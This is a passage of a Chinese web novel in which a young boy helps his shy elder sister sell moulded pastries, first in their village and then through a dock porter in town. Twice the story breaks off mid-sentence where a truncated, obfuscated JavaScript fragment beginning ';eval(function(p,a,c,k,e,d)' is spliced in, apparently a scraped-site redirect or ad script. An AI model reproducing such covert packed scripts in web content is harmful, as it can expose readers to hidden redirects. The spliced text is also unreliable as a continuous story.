“别说,老实媳妇手艺见长啊!” “这花样刻得真不赖,哪来的模子?” “杏丫头不容易,回来还想着帮衬家里。” “佑哥儿这小嘴,真甜!” 村民们的议论,也从最初的好奇,渐渐变成了认可。 王杏从一开始的完全僵立,到后来能在弟弟与人交谈时,小声地附和一句“嗯”、“是”,再到后来,终于能鼓起勇气,在有人问价时,用几乎听不见的声音说“一个铜板”,并在对方付钱后,小声说一句“谢谢”。 每卖出一个,每听到一句“好吃”,她心中那因工坊经历而筑起的冰壳,似乎就悄然融化一丝。她看着弟弟像个小大人似的忙碌,看着村民们友善的目光,感受着腰间荷包里铜钱逐渐增加的重量……一种久违的情感,正悄然滋生。 二十五个巧酥,在早饭前后这段时间里,试吃了两个,卖掉了二十一个!只剩下两个小鱼图案的。 王佑看着剩下的两个,想了想,没有继续叫卖。他拿起一个,递给王杏:“大姐,这个你吃。” 王杏看着弟弟递来的巧酥,鼻尖有些发酸,接过小口咬了一下,酥脆香甜的味道在口中弥漫。 王佑自己也拿起最后一个,美滋滋地吃起来。然后,他踮起脚尖,将空竹篮重新盖好,拉着姐姐的手:“大姐,咱们回家吧!” 第一次‘出征’,大获全胜。更重要的是,王杏迈出了那最艰难的第一步。 回家的路上,王杏的脚步比去时轻快了许多。她低头看着弟弟,弟弟正一边走,一边兴致勃勃地数着荷包里的铜钱:“一、二、三……二十一!大姐,刨去面粉、猪油、豆子的本钱,挣了差不多十三铜板!” 王佑将荷包塞回姐姐手里,仰头笑道:“大姐,你真厉害!明天我们还来!” 王杏紧握住荷包,看了看弟弟灿烂的笑脸,微笑点头:“嗯。” 姐弟俩推开院门时,王老实正蹲在院子里,手中无意识地用一块石头磨着锄刃。李氏则在灶间门口择菜,眼神却频频瞟向院门方向。 看到王杏和王佑进来,两人几乎是同时站了起来。 “怎么样?”王老实喉咙有些发干,声音带着不易察觉的紧张。李氏也快步走过来,目光落在王杏手里的竹篮上。 王杏没说话,只是将竹篮轻轻放下,双手捧着荷包递到母亲面前。 李氏接过荷包,入手微微一沉。她打开系绳往里一看,黄澄澄的一小堆铜钱! “全卖……卖出去了?”李氏的声音带着难以置信。 王佑已经按捺不住,小脸上满是兴奋,抢着说道:“都卖出去了,只剩两个我和大姐吃了。铁爷爷、刚婶、牛伯伯……好多人都买了……” 他叽叽喳喳,手舞足蹈地将村口的情景复述了一遍。 王老实听着,那张被岁月风霜雕刻的脸上,一点点绽开了笑容。他重重地吐出一口浊气,仿佛将胸中积压了许久的块垒都吐了出来。 “好!好!杏儿,佑儿,你们……都是好样的!”他走过去,用那双粗糙的大手,拍了拍女儿瘦削的肩膀,又揉了揉小儿子的脑袋,语气中充满了肯定。 王杏被父亲这么一拍,肩膀微微一颤,眼圈瞬间红了。她低下头,用力眨了眨眼,将那汹涌而上的泪意逼了回去。父亲这句朴素的夸奖,对她而言,比那二十一个铜钱更加珍贵。 李氏将荷包紧紧攥在手里,仿佛握着的是无价之宝,眼眶也湿润了:“他爹,咱们……咱们自己也能挣着钱了!” 这一刻,王家小院里弥漫着崭新的希望。 接下来的日子,王家并未被这初次的成功冲昏头脑。王佑深知他们这种小本生意,经不起任何风浪。在他的‘童言稚语’建议下,一家人定下了几条规则: 其一、每天最多做三十到四十个巧酥,绝不多做。一来,李氏和王杏的精力有限,要保证质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一家人屏住呼吸,看着王桃熟练地将铜钱以百文为单位串起来,不够百文的另放一边。 “一串……两串……三串......四串......”王桃轻声数着。 最终,串好的整串铜钱有四串,另有一堆散钱。 王桃又仔细数了数那堆散钱:“……七十一,七十二,七十三。” 她抬起头,脸上带着兴奋的红晕,声音清脆:“爹,娘,大姐,佑弟,咱家这个月,卖巧酥一共挣了……四百七十三文!” 这笔钱,对于王家而言,无疑是一笔‘巨款’!这是攒下的纯收入,而且是不用看天吃饭、实实在在握在手里的现钱! 王老实的嘴巴张了张,没说出话,只是用力搓了搓脸,眼眶有些发红。李氏更是激动得直接抹起了眼泪,连连道:“老天爷……这……这真是……” 王杏低着头,嘴角却弯起了一个柔和的弧度;王桃则是一脸骄傲,看着那堆铜钱,仿佛看到了大哥书房里崭新的笔墨纸砚。 王佑心中也长长舒了一口气。计划的第一步稳了,证明了这条路的可行性,证明了他们这个家,有能力在不依赖施舍、不碰运气的情况下,靠自己的劳动改善处境。 更重要的是,这个营生,将为他们应对秋后大哥院试的开销,提供最及时的支持。 “他爹,这钱……”李氏看向王老实。 王老实沉默了片刻,缓缓开口:“留出两百文买面粉、猪油、豆子,还有糖稀,不能断了营生。再留一百文,给树儿和桃儿,让他们在学馆吃用宽裕些,尤其是树儿,备考费神。剩下的……” 他看了一眼幼子,“佑儿,你说呢?” 不知不觉间,王老实已经开始重视幼子那些‘不一样’的想法。 王佑想了想,认真道:“爹,娘,咱们将剩余的钱都存起来。大哥以后用钱的地方还多,咱们得慢慢攒起来。还有,刘爷爷那里,虽然他说不要钱,但逢年过节,咱们得多送些巧酥,再送些鸡蛋,不能忘了人家的恩情。” 王老实和李氏听得连连点头。 王老实拍板:“就按佑儿说的办,剩下的钱存起来!以后每个月,都存!” 26. 信息突破壁垒 夏收的喧嚣渐渐平息,田野重归宁静。 王桃又回到了李家村学馆,巧酥的生意依旧不紧不慢地做着。每天清晨,王杏挎着竹篮出门的身影,成了村里一道寻常的风景。村民们习惯了那独特的焦香,也习惯了王家姐弟那实在的营生。 至于周家,并未对此投以过多关注。周管事偶尔从佃户市井闲谈中听闻此事,也只是轻蔑地撇撇嘴,当作一桩无关紧要的乡野趣闻禀报给周立文。 周立文正忙着夏粮入库,闻言眼皮都未抬起:“妇人稚子,小打小闹,贴补些油盐罢了,随他们去。” 这日,天气晴好。王老实记挂着刘木匠的恩情,便与李氏商量,带着王杏和王佑,提上攒下的几个鸡蛋、还有李氏特意做好的一包巧酥,去刘家村拜访感谢。 刘木匠见他们来,脸上也带了点笑意,尤其是看到那包花样别致的巧酥,拿在手里仔细看了看,点头道:“嗯,活学活用,还会弄点颜色了,不错。” 得知他们生意稳定,每月能有些进项,更是捻须微笑:“踏踏实实就好,细水长流。” 正说着话,院门外传来爽朗的招呼声:“师父,我回来看看您!” 声音未落,一个约莫不到三十的汉子大步走了进来。他身材不高,但很结实,皮肤是常年劳作的小麦色,双手骨节粗大,穿着一身半旧的靛蓝短打,精神头十足。肩上挎着一个沉甸甸的褡裢,随着他的步伐晃悠。 “栓子回来了?”刘木匠脸上笑容更真切了些,对王老实介绍道,“这是我早年收的徒弟,刘栓,现在在镇上自己开了个木匠铺子。” 刘栓放下褡裢,恭敬地给师父行了礼,通过介绍,又转向王老实一家,露出朴实的笑容,拱手道:“王叔,两位弟弟妹妹,有礼了。” 王老实连忙还礼,心里却有些吃惊。刘栓看起来就是个普通工匠,但眼神清亮,举止利落,身上带着一种见过些世面的开阔气度,与他印象里那些一辈子在土里刨食或者守着几样老手艺的乡民截然不同。 王佑也悄悄打量着这个刘栓,这就是能在镇上立足的独立手工业者。他的出现,让王佑对这个时代基层经济的认知,又多了一块拼图。 刘栓显然是个健谈且善于观察的人。他看到师父手里的巧酥,又听刘木匠简单说了王家用模具做营生的事,顿时来了兴趣:“哦?就是用了师父您刻的模子?我瞧瞧。” 他接过巧酥,不像寻常人只看好吃与否,而是仔细端详着上面的花纹,手指甚至轻轻抚过凹槽边缘,眼中露出专业品评的神色:“师父这手艺,宝刀不老啊!线条流畅,深浅得宜,脱模肯定顺溜。这花样设计得也巧,福字饱满,小鱼灵动,寓意好,看着就喜庆。” 他看向王杏和王佑,称赞道:“你们家也挺有想法,这巧酥看着就比寻常的精细,在哪儿卖呢?” 王老实憨厚地回答:“就在附近几个村子转转。” 刘栓点点头,带着点生意人的敏锐:“先在乡村站稳是对的,若是想多挣点,镇上反而更好。主街摊位贵,人也杂,但有些小巷子,或者码头、货栈附近,早上上工的人多,卖些便宜顶饿又好吃的零嘴,生意不会差。我铺子隔壁就是个卖早点的,他那馒头油条,做得也就那样,但胜在便宜管饱,早上忙得很。” 这话让王老实和王杏都有些动容,又有些畏难。 刘栓似乎看出他们的顾虑,笑道:“当然,镇上规矩多,地皮钱、巡街的,都得打点。而且竞争也大。你们这样稳稳地做,也挺好。要是哪天想去镇上试试,可以找我,别的不敢说,帮你们找个稳妥点、便宜点的角落,或者跟相熟的铺子商量借个屋檐,还是能说上点话的。” 王老实和王杏连忙道谢。王佑听着心中一动,刘栓在镇上经营,他的社交网络和生存智慧,正是王家目前最缺乏的。这个偶然的相遇,或许能成为一个重要的支点。 刘栓又接着聊了些镇上的见闻。 比如哪家铺子生意好,哪行当最近缺人手,官府有什么新的告示,甚至还有他从南来北往客商那里听来的零碎消息。他的话匣子一打开,便让王家人听得入了神,透过他的描述,看到了一个更鲜活、也充满更多可能性的外界。 王佑尤其听得仔细,镇上不同行业的生态,也让他对潜在的市场和机会有了更具体的想象。 临走时,刘栓将他铺子的位置告知王老实:“王叔,以后家里有什么木器家什要修要打,或者想去镇上看看,尽管找我。” 从刘家村回来,王佑的心就没真正平静过。刘栓那健谈的身影、对镇上营生了如指掌的从容,还有话语里透露出的那个更广阔的市井世界,在他心里激起一圈圈的涟漪。夜里,躺在自己的小床上,辗转反侧,毫无睡意。 他的大脑像一台过载的计算机,疯狂处理着近期获取的所有信息: 大姐从最初的麻木惊惧,到能独自卖巧酥,再到今天在刘家能安静倾听、甚至流露出思考的神情……她的心理创伤正在愈合,能力也在恢复。继续让她日复一日在熟悉的几个村庄间,兜售那三四十个巧酥,固然安稳,但对她的成长和这个家长期的发展而言,是否是一种浪费和停滞? 家庭每月收入近五百文,对改善基本生活有帮助,但距离支撑大哥未来更进一步的科举开销,甚至应对任何意外风险,还差得太远。 周家像悬在头顶上的利剑,目前巧酥营生规模微小,引不起周家兴趣。但一旦扩大,无论是增加产量、拓展销售范围、还是提高利润,都很难完全避开周家的耳目。周家绝不会允许自己投资的潜力股,脱离影响范围。届时,周家会以什么方式介入? 刘栓这条线是一个非周家体系内的本地资源。他在镇上的人脉和对市井规则的熟悉,或许能成为他们家尝试向镇上发展的‘盲杖’。但如何运用?运用到什么程度? 而自身五岁的身体,锁住了他绝大部分的行动力和话语权。他所有的谋划,都必须通过父母兄姐来实现,这中间充满了信息损耗、理解偏差和执行变形。 王佑在脑海中反复推演各种可能性: 维持现状最安全,可能错失刘栓关系尚热的最佳发展窗口期。等大哥院试结果出来,无论中与不中,家庭重心和外部关注度都会变化,到时再想动,可能更麻烦。 不扩大销售范围,但在现有客户群中提升价值。比如,做更精细的‘礼品装’巧酥?瞄准村里婚丧嫁娶、年节走礼的微量需求?或者,尝试用其他更便宜易得的材料开发新口味? 每一个方案都有利有弊,都需要更具体的信息支撑,王佑越想越深,越想越细,甚至开始模拟周家得知王家‘不安分’后可能的各种反应及应对策略……直到窗外传来第一声鸡鸣,东方天际泛起鱼肚白,他才惊觉自己竟彻夜未眠。 清晨,王佑顶着一对醒目的黑眼圈出现在家人面前时,把父母和大姐都吓了一跳。 “佑儿,你这是怎么了?没睡好?是不是哪不舒服?”李氏连忙放下手里的活计,伸手去摸他的额头。 王老实也皱眉看着儿子:“做噩梦了?” 王杏则担忧地看着幼弟苍白的小脸和眼下那两片青黑。 王佑揉了揉酸涩的眼睛,强打精神摇摇头:“娘,我没事,就是……就是昨晚想事情,睡不着。” “一个娃娃家,有什么事情好想的,还能想一夜?”王老实温怒。 王佑知道瞒不过,而且他确实需要和家人沟通接下来的打算。他走到水缸边,用凉水拍了拍脸,感觉清醒了些,然后转过身,看着家人。 “爹,娘,大姐,我在想咱们家卖巧酥的事。” “卖巧酥怎么了?不是挺好的吗?”李氏不解。 王佑点头:“是挺好,够咱们贴补家用,让大姐也有事做。可是……爹,娘,你们想过没有,大哥要是秋后中了秀才,以后要去府城书院读书,花费会多很多。咱们光靠地里和这点巧酥,够吗?” 这话让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王佑抬起头,大姐的眼神里有询问,还有一丝或许连她自己都没意识到的期待。期待弟弟能继续陪着她,就像之前每一次那样,给她勇气和支撑。 “去!”王佑立刻点头,跳下凳子,“大姐你等等我!” 他飞快地跑回屋里,换了件干净小褂,又仔细洗了把脸,努力振作精神。 路上,王杏走得不快,似乎有心事。快到赵家村村口时,她忽然停下脚步,转头看向弟弟,声音很轻地问道:“佑弟,你昨天晚上想的……” 王佑愣了一下,没想到大姐会主动问起。他点点头,诚实地说:“嗯,光这样卖太慢了。” 他怕大姐误会,连忙补充:“不是大姐做得不好!是咱们卖得少,地方也小。” “镇上……真的那么麻烦吗?”她问,语气里不再是单纯的恐惧,而是多了一丝探究和权衡。 “刘栓哥说,规矩多,人也杂。”王佑斟酌着词句,“但机会可能也多。大姐,你觉得……咱们做的巧酥,在镇上会有人买吗?” 王杏认真地想了想,点了点头:“应该……会吧。” “那如果……不用咱们自己去摆摊呢?”王佑试探着问。 王杏疑惑地看着他。 “比如……咱们把做好的巧酥,便宜一点,批发……哦,就是一次卖点给镇上的某个人,让他去卖?或者,给镇上的小茶馆、早点铺子供货?他们搭着卖?”王佑尽量用简单的语言描述分销或供货的概念。 王杏的眼睛慢慢亮了起来,提出了一个关键问题:“可是……人家凭什么要咱们的?” “所以,咱们得先做出点不一样的,让人家觉得值得要。比如,咱们能不能做出一种……更方便携带、不容易碎、样子又好看的巧酥?”王佑思路愈发清晰,他想起前世那些独立包装、改良的传统零食。 王杏喃喃重复着王佑的话,目光落在路边的野花野草上,又似乎透过它们,看到了灶间里那些熟悉的面粉、芝麻、豆子、糖稀…… 27. 打响镇上营生的‘第一枪\’ 回到家,王佑拉着王杏,在李氏的帮助下,开始尝试再次改良巧酥。他们试着减少了糖稀和猪油的比例,增加了面粉,烙出了几锅更厚实、颜色更深、口感偏硬脆的耐放版巧酥。又试着在和面时撒入一点点炒香的野葱末,做出了咸香口味的葱香版巧酥。 新口味出炉,一家人试吃。王老实觉得咸口的更顶饱,李氏觉得厚实的那个放个两三天估计也不会软,王杏则仔细比较着两种的口感,思考着哪种更适合卖到镇上去。 几天的试验和琢磨之后,那耐放版的硬脆巧酥和微带咸香的葱香巧酥已经试做了好几轮,口感稳定,李氏和王杏也掌握了火候。 这天晚饭后,王佑再次向父母提出了想法:“爹,娘,咱们新做的这两种巧酥,比原来的顶饿,也不怕放。我想……是不是让刘栓哥帮忙看看?” 他顿了顿,补充道:“咱们不多带,就带四、五个两种口味的,就当是给刘栓哥尝尝新口味。不说是要做生意,就说是自家琢磨的,看合不合镇上人的口味。” 王老实抽着旱烟,沉默了片刻。这几天他看着幼子和长女在灶间忙活,心里也不是没有想法,他点了点头:“成。明天我没什么要紧活,就带你们去一趟镇上。” 入睡前,王佑与王杏说了半个时辰的悄悄话。 第二天,天刚蒙蒙亮,王老实便带着王杏和王佑出发,竹篮里装着干净荷叶包好的两种巧酥。 到了镇上木匠铺,刘栓见到他们还有些惊讶。得知是送了新做的饼子来给他尝尝,脸色和煦,连声道:“太客气了,太客气了。” 王老实将两包巧酥拿出来,有些局促地说明:“家里孩子瞎琢磨,做了点新花样,比之前的顶饿些,也不易碎。你在镇上见识多,帮着尝尝,看合不合口。” 刘栓爽快地接过,先掰开一个巧酥,仔细看了看断面,又放进嘴里咀嚼。 “嗯……这个口感扎实,没那么甜腻,确实顶饿,放上几天估计也不会软。” 他又尝了葱香巧酥,眼睛一亮:“这个咸香口的,有点意思!干活的人吃,比甜的更对胃口。” 得到肯定,王佑松了口气,他趁势示意王杏开口。 王杏深吸一口气,声音虽轻却异常清晰:“栓子哥,您见多识广。像这样的巧酥,若是在镇上……比如码头、货栈那些地方,早上上工的力工们,会愿意花一两个铜板买来垫垫肚子吗?” 刘栓沉吟道:“码头力工、赶早市的脚夫、还有那些在街面做活计没空吃正经早饭的,确实常常买些便宜顶饿的吃食。你们这巧酥,用料实在,口味也对路,只要价格合适,肯定有人买。镇上主街那些早点摊卖的包子、馒头,一个也要两文钱,还不一定有你们这个经饿。” 王杏心中一喜,继续问:“那……若是卖这样的巧酥,在镇上该注意些什么呢?摊位……是不是很难找?” 刘栓详细说道:“摊位是麻烦,好地段贵,还要打点巡街的。不过,若是只做早上一阵,不占固定摊位,倒是有些空子可钻。比如,在码头外围、货栈巷子口、或者去那些力工聚集等活的地方,挎个篮子流动着卖,只要不挡着大路,巡街的一般懒得管。就是辛苦,得起大早,还得眼明腿快。” 他顿了顿,似乎想到了什么,看了一眼王杏单薄的身子和旁边年幼的王佑,摇了摇头:“不过,你们姐弟俩去干这个,怕是不成。那边人多也杂,容易吃亏。” 这话说到了王老实的心坎上,脸上都露出深以为然的表情。 这时,刘栓摩挲着下巴,目光在那两包饼子上转了转,眼中闪过一丝精明,状似无意地开口道:“其实……要是这巧酥味道和成本真有优势,倒也不是没法子。我有个堂弟叫刘柱,就在码头那边帮人搬些零碎货物,也时常在那一带混。他脑子活,人面熟,就是没个正经营生。要是你们家信得过,又能保证这巧酥供应得上、价钱够低,我倒是可以跟他说说,让他帮着在码头那边试试水。他不用租摊位,就挎着篮子卖,卖多少给你们结多少,他中间抽点辛苦钱就行。” 来了,这正中王佑下怀。果然是在镇上讨生活的手艺人,眼光和算计都不差!由他牵线,知根知底,又在他的影响范围内,比自己家瞎捉摸安全得多。而且,刘栓主动提出,等于是双方各取所需,不用欠下太大的人情,反而有了平等合作的基础。 王老实显然没想到这一层,都有些愣神,迟疑道:“这……这怎么好麻烦……” 刘栓摆摆手,笑道:“王叔,这谈不上麻烦。你们有好东西,但缺个稳妥的卖处。我堂弟有熟悉地方,但缺个靠谱的货源。要是能成,是两便的事。当然,这事儿成不成,还得看价钱合不合适,能不能真卖得出去。” 他看向王家三人:“要不这样,明天早上让我堂弟去码头那边试试。一个巧酥一文半,卖掉的,晚上我让他把钱带过来,卖不掉的,饼子退给你们,如何?” 考虑到码头消费力且刘柱要抽成,王佑之前估算了这个价位,几乎没什么风险。王家只需要提供产品,市场验证和销售由刘柱去做,成功了大家分利,失败了王家也只损失点材料。 王杏看向父亲,又看看弟弟。王佑微不可察地点了点头。 王老实还在犹豫,王杏却已经鼓起勇气,按照王佑事先准备好的说辞,清晰地说道:“若是柱子哥愿意帮忙试试,我们感激不尽。巧酥我们一定用心做,保证味道和今天的一样。价钱……一文半一个,我们愿意。明天一早,我们就做五十个,一半硬巧酥,一半葱香酥,但是需要柱子哥来王家村取,您看行吗?” 她语气平稳,条理清楚,竟有几分小生意人的模样了。刘栓眼中讶色一闪,不由得又高看了她一眼,点头道:“行!那就这么说定了。明天一早,让我堂弟过去取。” 留下王家地址后,王家三人回家的路上,王老实还有些恍惚,感觉像做梦一样。王杏则紧紧攥着弟弟的手,手心有些汗,眼神却亮得惊人。 第二天,天还没亮,王家小院里却已经亮起了微弱的灶火光芒。李氏和王杏几乎一夜未眠,激动与忐忑交织,她们早早便起身准备。 和面、调味、压模、烙制……每一个步骤都格外仔细。 二十六个耐放酥,二十六个葱香酥,在熹微的晨光初露时,终于全部烙好。整齐地码放在一个垫着干净粗布的竹篮里,还带着诱人的余温。 刚收拾停当,院门外便传来了刻意放轻的叩门声,三下,停顿,再三下,颇有规矩。 王老实披衣起身,王佑也被动静惊醒,揉着眼睛从小床上爬起,趴在窗边向外看。 李氏打开院门,一个身影敏捷地闪了进来。他看起来二十五六岁年纪,个子不高,穿着一身半旧的深灰色短打,洗得发白,肩上搭着一条灰扑扑的汗巾,脚上一双磨得厉害的草鞋,一副标准的力工打扮。脸上带着市井小民混合着讨好、机警和一丝精明笑容。 “王叔,王婶,杏妹子,打扰了!我是刘柱,我堂哥让我来的。”他语速很快,笑容可掬,对着王老实和李氏点头哈腰,又对站在灶间门口的王杏友善地笑了笑。 王佑在窗边仔细打量着这个刘柱。第一印象便是一种在底层市井摸爬滚打、于夹缝中求生存锻炼出来的精明。他脸上每一道笑纹仿佛都写着憨厚,但眼神却异常灵动,动作麻利透着油滑。 这是一把双刃剑,王佑心中立刻下了判断。这种人用好了,是最合适的‘冲锋陷阵’者。但用不好,或者利益分配稍有差池,也可能成为麻烦。 刘柱似乎没注意到王佑的审视,他的注意力已经全被那竹篮吸引。他凑近嗅了嗅,眼睛一亮:“嚯!真香!这就是我堂哥说的新巧酥?” 得到肯定,还有王家早已多备好的两个巧酥后,他便熟练地掀开盖布,拿起一个葱香酥掂了掂分量,掰开一小块放进嘴里,咂摸了几下,连连点头:“嗯!实在!咸香正好,这个天早上吃,舒坦!” 他又尝了硬巧酥,评价道:“这个更经放,甜度合适。” “王叔,婶子,杏妹子。”刘柱抹了抹嘴,脸上笑容收敛了些,换上谈正事的表情,“我堂哥都跟我说了。这新巧酥,我觉得行!码头那边,天不亮就有一大帮等活、上工的,揣着冷硬的窝头就凉水的有的是。咱们这饼子热乎、实在、味道也不错,卖一文半,肯定有市场。” 他话锋一转:“不过,咱们得把话说在前头。码头那地方,人多眼杂,也有别的卖吃食的。咱们初来乍到,不能硬闯。我打算先去我熟的老地方,几个相熟的力工头儿和脚夫常聚的背风处试试水。头一天,这五十个卖得动,咱们往后再说;卖不动,或者惹了麻烦,这事可能就得缓缓 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说完,脚步带着底层讨生活者特有的轻快,迅速融入了尚未完全亮起晨光中。 院门重新关上,但王家人的心却都悬了起来。王老实蹲在门槛上抽烟,烟雾缭绕,眉头紧锁。李氏双手合十,低声念叨着什么。王杏站在灶间门口,望着刘柱消失的方向,手指无意识地绞在一起。 王佑走到大姐身边,轻轻拉了拉她的衣角。王杏低下头,看到弟弟清澈的目光,心中的不安渐渐被安抚。 “大姐,刘柱一看就是在外面跑惯了的,他知道怎么卖东西。咱们的巧酥不差,价格也合适,应该能行。” 他在安慰大姐,也在说服自己。 这一天,对王家而言,格外漫长。王老实下地也心不在焉,早早便回来了。李氏和王杏则不停地找活干,试图用忙碌来驱散焦虑。王佑则坐在老树下,看似在摆弄石子,大脑却在高速运转,推演着各种可能:卖得好怎么办?卖得一般怎么办?卖不掉怎么办?刘柱会不会耍花样? 夕阳西下,就在王家人几乎要放弃希望,以为刘柱今天不会回来时,院门外终于再次响起了带着点轻快节奏的敲门声。 门一开,刘柱的身影出现在门口。他脸上带着明显的疲惫,但那双精明的眼睛里却闪烁着兴奋的光彩,背上的背篓轻飘飘的。 “王叔!婶子!杏妹子!好消息!”他一进门,就压低了声音,却掩不住语气里的亢奋,“卖完了!不到晌午就卖完了!” 王老实猛地站起来,李氏和王杏也围了过来,脸上都是难以置信的惊喜。 刘柱将空背篓放下,从怀里掏出一个鼓囊囊的旧钱袋,哗啦一声倒在院中的石墩上,正是五十个黄澄澄的铜钱! “按咱们说好的,我留二十五文辛苦钱,这里是五十文,您点点!” 王杏颤抖着手,拿起那些还带着刘柱体温的铜钱,仔细数了一遍,不多不少,正好五十文! 李氏激动得强忍着眼泪,王老实重重拍了一下大腿,咧嘴笑了,那笑容憨厚而畅快。 刘柱也笑,搓着手道:“王叔,婶子,杏妹子,不是我吹,咱们这买卖,在码头那边真对路!那些力工,都说实在,咸香的那个特别受欢迎!有几个还问我明天还有没有。我看啊,这生意有得做!” 他顿了顿,眼中精光一闪:“不过,今天算是试水,明天要是正式做,量得上去。五十个不够卖,我看起码得八十,不,一百个!而且,我可以那几个相熟的力工头儿帮着招呼人,形成熟客。还有,要是能再弄点喝的搭着卖,哪怕是便宜的大碗茶,就更好了……” 他开始滔滔不绝地讲起他的生意经,哪里人最多,什么时候出摊最好,怎么跟其他小贩打交道,甚至怎么避开某些地头蛇的耳目……显然,这一天的成功,不仅让他赚到了钱,更激起了他的野心和干劲。 王佑听着,心中既喜且忧。喜的是开门红,路子走通了;忧的是,刘柱的进取心如此强烈,这把双刃剑的锋利一面,也开始显现出来。 他心中已经在思考。合作的第一步成功了,但如何引导、控制、并与刘柱建立更稳固的合作关系,利用好这把双刃剑。 夜色渐浓,刘柱揣着他那二十五文钱,心满意足地告辞了,约定明天一早再来取饼子,数量暂定一百个。 28. 王杏初露锋芒 第一天的成功像一剂强效的兴奋剂,刺激着王家人的神经,天还没亮透,王家小院的灶火再次燃起,比昨日更加明亮旺盛。 一百个巧酥,工作量翻了一倍。母女俩分工协作,李氏主要负责和面调味,王杏则专注压模和烙制。小砖炉火力全开,铁锅被烧得滋滋作响,焦香和葱香混合的气息更加浓郁,几乎笼罩了整个小院。 天色将明未明时,刘柱的身影准时出现在院门外。他依旧是一身利落短打,但眼神里的急切和期盼几乎要溢出来。 “王婶,杏妹子,辛苦辛苦!”他一进门,目光就牢牢锁定了竹蓝里堆积如小山般的巧酥上,脸上笑开了花,“今天色泽更足了,一看就好卖!” 刘柱装进背篓时,王杏转身进了堂屋,拿出一个昨日擦拭干净的旧木匣子。她将木匣放在桌上,从怀里面摸出一封折叠整齐旧纸,煞有介事地放进匣子里,然后开始用一块干净的软布,细细擦拭匣子表面并不存在的灰尘。 刘柱的目光果然被吸引过来,好奇地问:“杏妹子,这匣子……?” 王杏手上动作不停,抬起头,神色平静自然,语气轻描淡写:“哦,这个啊。是我大弟昨天托人捎回来的家信。” 她顿了顿,仿佛想起什么,补充道:“信里也没说什么要紧的,就是问问家里近况,叮嘱我们不管做什么,都要诚信为本,莫要因小利失了体面,让人看轻了读书人家。” 刘柱脸上的笑容微微一顿,眼神闪烁了一下。他这种在底层摸爬滚打的人,最是懂得察言观色,也最明白体面和背景的重要性。王家有个很有出息的大儿子,他是听堂哥提过的。 王杏擦完匣子,将其小心放回原处,这才看向刘柱,脸上露出诚恳的笑容:“柱子哥,昨天辛苦您了,卖得那么好。咱们这生意开了个好头,往后还指着您多费心。” 刘柱连忙摆手:“应该的,应该的,我也就是跑跑腿。” 王杏点点头,话锋一转:“柱子哥,有件事,我想跟您商量商量。咱们这买卖刚起步,红火是好事,可树大招风。我想着,咱们是不是先别一下子把摊子铺太大?每天就定一百个,卖完即止。一来,我娘和我两个人做,保证得了质量,多了怕忙中出错;二来,数量固定,免得一下子卖太多,惹得码头那边其他卖吃食的眼红,平白生出是非,扰了咱们长远的生意。您觉得呢?” 刘柱心里飞快盘算:一天抽五十,一个月就是一千五百文!这比他以前有一搭没一搭地扛活强太多了。虽然贪心觉得还能卖更多,但王杏说的眼红生事也不是没道理。码头那地方,为了抢地盘打架斗殴的事不少。稳住,细水长流,确实更安全。 他拍着胸脯保证:“杏妹子考虑得周到,是这么个理儿,咱们不贪多,就一百个,稳稳当当地卖!” 见刘柱接受了限量,王杏心中稍定,声音也柔和了些:“柱子哥,咱们得一步一步来,路子才能走得宽,走得远。若我大弟能中个秀才……到时候,在县城也能说得上些话。说不定能帮咱们在县城寻个稳妥点的固定小摊位,不用再像现在这样,风吹日晒,东躲西藏的。” 刘柱的眼神瞬间变得无比热切和,语气前所未有的认真:“杏妹子,你放心。我刘柱虽然没啥大本事,但最讲义气,讲信用!咱们这生意,我一定当自家的事儿来做,规矩我懂,绝不多嘴多事。保证卖得妥妥当当,钱账清清楚楚!” 王杏笑了,这次的笑容格外真诚:“那就拜托柱子哥了。” 刘柱脚步比昨日更加轻快,离开时甚至还主动把院门带上。 看着刘柱消失在晨雾中,王杏长长舒了一口气,后背竟出了一层细汗。刚才那番应对,几乎耗尽了她全部的心力和勇气。 王佑从里屋走出来,看着大姐微微发红却神采奕奕的脸颊,伸出小手,竖起一个大拇指:“大姐,你真厉害!” 王杏蹲下身,抱住王佑,将脸埋在他小小的肩膀上,声音带着哽咽和后怕:“佑弟……多亏了你……那些话,姐姐差点说不出来……” 王佑轻轻拍着姐姐的背:“大姐,你说得很好,比我想的还好。咱们的路,走稳了。” 傍晚,刘柱回到王家,面带兴奋,一百个全部售卖。他的态度,在经历了第一日的兴奋和早上王杏那番‘恳谈’与‘画饼’之后,发生了微妙而显著的变化。 最初那点因生意顺利而可能滋生的浮躁和得寸进尺的心思,被王杏不软不硬地按了下去。刘柱再也没提过要增加产量或者搞点其他搭售的花样。 接下来的日子,王家的小砖炉日日火旺,炊烟带着独特的焦香准时升起,成了黎明前王家村最勤奋的风景。李氏和王杏配合越发默契,从和面到烙好装篮,用时越来越短,质量却始终如一,金黄酥脆,咸甜分明。 刘柱也成了王家小院的常客,每日天不亮准时叩门,风雨无阻。他跑得更勤快,更上心了。码头那边,他不仅守住了最初熟识的几个力工聚集点,还凭借着自己的机灵和人面,又悄悄拓展了两处新的销售点,每日总量依旧严格控制在一百个,只是卖得更快、更稳了。 然而,这门营生并非天天火爆。有几日天气阴沉,码头上工的人少,还有其他卖吃食的出了新花样抢了风头。刘柱回来时,背篓里就会剩下十余、二十余个没卖完的。每当这时,他总是有些讪讪,主动解释原因。 而王杏的反应,则让刘柱心生感激。她从不埋怨,甚至会拿出一、两个鸡蛋,或者将退回的巧酥包好塞给刘柱:“柱子哥辛苦了,卖不完也正常。这些带回去给家里孩子垫垫肚子,或者分给邻居,不浪费。” 赶上饭点,李氏也会热情地留他吃顿便饭,虽是粗茶淡饭,却透着家常的温暖和尊重。 这些细微之处的关怀和体谅,像春雨润物,无声无息地浸润着刘柱这个常年在外讨生活 